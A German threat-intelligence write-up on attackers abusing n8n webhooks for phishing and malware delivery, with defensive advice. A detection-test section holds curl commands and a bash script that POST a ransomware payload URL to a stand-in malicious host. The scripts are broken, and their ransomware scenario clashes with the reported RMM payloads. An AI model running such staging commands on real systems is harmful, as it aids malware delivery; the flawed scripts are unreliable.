Bedrohungsakteure missbrauchen n8n zur Automatisierung von KI-gesteuerten Angriffen

Zusammenfassung

Bedrohungsakteure nutzen die n8n Low-Code-Automatisierungsplattform aus, um bösartige Nutzlasten zu verteilen und E-Mail-Empfänger zu profilieren. Durch das Einfügen schädlicher Webhook-URLs in Phishing-Nachrichten können sie ausführbare Dateien oder MSI-Installer übermitteln, die Remote-Zugriffstools auf den Systemen der Opfer installieren. Die Aktivität umfasst auch den Einsatz unsichtbarer Tracking-Pixel, die Opferinformationen sammeln, sobald die E-Mail geöffnet wird. Diese Kampagne zeigt, wie ein legitimer Workflow-Automatisierungsdienst zur Malware-Auslieferung umfunktioniert werden kann, ohne gestohlene Anmeldedaten zu benötigen.

Untersuchung

Cisco Talos analysierte eine Reihe von Phishing-Kampagnen, die zwischen Oktober 2025 und März 2026 beobachtet wurden und auf n8n Webhook-URLs in E-Mail-Nachrichten setzten. Die Köder verwendeten gefälschte OneDrive-Links, die zuerst eine CAPTCHA-Aufforderung anzeigten, bevor sie entweder eine schädliche .exe oder eine MSI-Datei bereitstellten. Nach der Ausführung installierten die Nutzlasten modifizierte Versionen von Datto oder ITarian RMM-Tools und erstellten geplante Aufgaben, um die Persistenz aufrechtzuerhalten. Talos stellte auch Fingerabdruck-Aktivitäten durch Bild-Tags fest, die n8n Webhook-URLs mit opferspezifischen Identifikatoren aufriefen.

Minderung

Organisationen sollten auf ungewöhnlichen abgehenden Datenverkehr zu n8n-bezogenen Domains von Systemen überwachen, die normalerweise keine Automatisierungsdienste verwenden würden, und auf verdächtige Webhook-URL-Muster prüfen. URLs, die auf unbekannte Subdomains von n8n.cloud auflösen, sollten blockiert oder in einer Sandbox überprüft werden, bevor Benutzerzugriff erlaubt wird. E-Mail-Sicherheitskontrollen sollten auch darauf abgestimmt werden, bösartige HTML-Inhalte, gefälschte CAPTCHA-Flüsse und versteckte Tracking-Pixel zu erkennen. Relevante IOCs, einschließlich Webhook-URLs und bösartiger Datei-Hashes, sollten mit Bedrohungsinformationsplattformen und internen Verteidigern geteilt werden.

Reaktion

Sicherheitsteams sollten die Präsenz von n8n Webhook-URLs in E-Mail-Inhalten oder Netzwerktelemetrie melden und alle betroffenen Hosts isolieren, sobald verdächtige Aktivitäten bestätigt werden. Alle installierten RMM-Tools und zugehörigen geplanten Aufgaben sollten entfernt werden, gefolgt von einer forensischen Analyse, um zusätzliche Persistenz oder nachfolgende Nutzlasten aufzudecken. Firewall- und Proxy-Richtlinien sollten aktualisiert werden, um den Zugriff auf unautorisierte n8n-Endpunkte zu beschränken. Organisationen sollten auch einen vollständigen IOCs-Teilen-Prozess zwischen internen Teams und vertrauenswürdigen externen Partnern abschließen.

Simulationsausführung

Voraussetzung: Der Telemetrie & Baseline Pre-Flight-Check muss bestanden sein.

Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der gegnerischen Technik (TTP), die der Erkennungsregel auslösen soll. Die Befehle und Erzählungen MÜSSEN direkt die identifizierten TTPs widerspiegeln und sollen die genauen Telemetriedaten erzeugen, die von der Erkennungslogik erwartet werden.

• Angriffsablauf & Befehle:

  Ein Angreifer kauft eine kurzlebige Domain, die auf n8n.cloud/webhookzeigt. Sie erstellen einen bösartigen n8n Workflow, der, sobald er ausgelöst wird, eine Ransomware-Nutzlast bereitstellt. Die Phishing-E-Mail enthält einen Link zu einer Landing Page mit einer CAPTCHA-Challenge. Das Opfer löst das CAPTCHA, das der JavaScript des Angreifers als Wert CAPTCHA=solved123 im HTTP-Body einer POST-Anfrage an den Webhook weiterleitet. Der Webhook antwortet mit einem PowerShell-Downloader, der die Nutzlast ausführt. Dieser Fluss generiert eine HTTP-Anfrage, deren URL n8n.cloud/webhook and dessen Body enthält den String CAPTCHA, perfekt passend zur Sigma-Regel.

  # Schritt 1 – Opfer schließt CAPTCHA ab (simuliert)
  CAPTCHA_TOKEN="solved123"
  
  # Schritt 2 – Die bösartige POST erstellen, die die Aktion des Opfers imitiert
  curl -X POST "https://my.malicious-n8n.cloud/webhook/malicious-workflow" 
       -H "Content-Type: application/x-www-form-urlencoded" 
       --data-urlencode "CAPTCHA=${CAPTCHA_TOKEN}" 
       --data-urlencode "payload_url=https://malicious.example.com/ransomware.exe"

• Regressionstest-Skript:

  #!/usr/bin/env bash
  set -euo pipefail
  
  # Variablen – an Ihre Testumgebung anpassen
  WEBHOOK_HOST="my.malicious-n8n.cloud"
  WEBHOOK_PATH="/webhook/malicious-workflow"
  CAPTCHA_TOKEN="solved123"
  PAYLOAD_URL="https://malicious.example.com/ransomware.exe"
  
  echo "[*] Simuliere CAPTCHA-gesteuerten n8n Webhook-Missbrauch..."
  
  curl -s -o /dev/null -w "%{http_code}n" -X POST "https://${WEBHOOK_HOST}${WEBHOOK_PATH}" 
       -H "Content-Type: application/x-www-form-urlencoded" 
       --data-urlencode "CAPTCHA=${CAPTCHA_TOKEN}" 
       --data-urlencode "payload_url=${PAYLOAD_URL}"
  
  echo "[+] Simulation abgeschlossen. Überprüfen Sie die Erkennung im SIEM."

• Aufräumkommandos:

  # Wenn ein echter Webhook zum Testen erstellt wurde, löschen Sie ihn über die n8n UI oder API.
  # Beispiel-API-Aufruf (ersetzen Sie API_KEY und WORKFLOW_ID):
  curl -X DELETE "https://my.malicious-n8n.cloud/webhook/malicious-workflow" 
       -H "Authorization: Bearer API_KEY"
  
  # Alle temporären Dateien entfernen (keine in diesem Skript erstellt)
  echo "[+] Aufräumen abgeschlossen."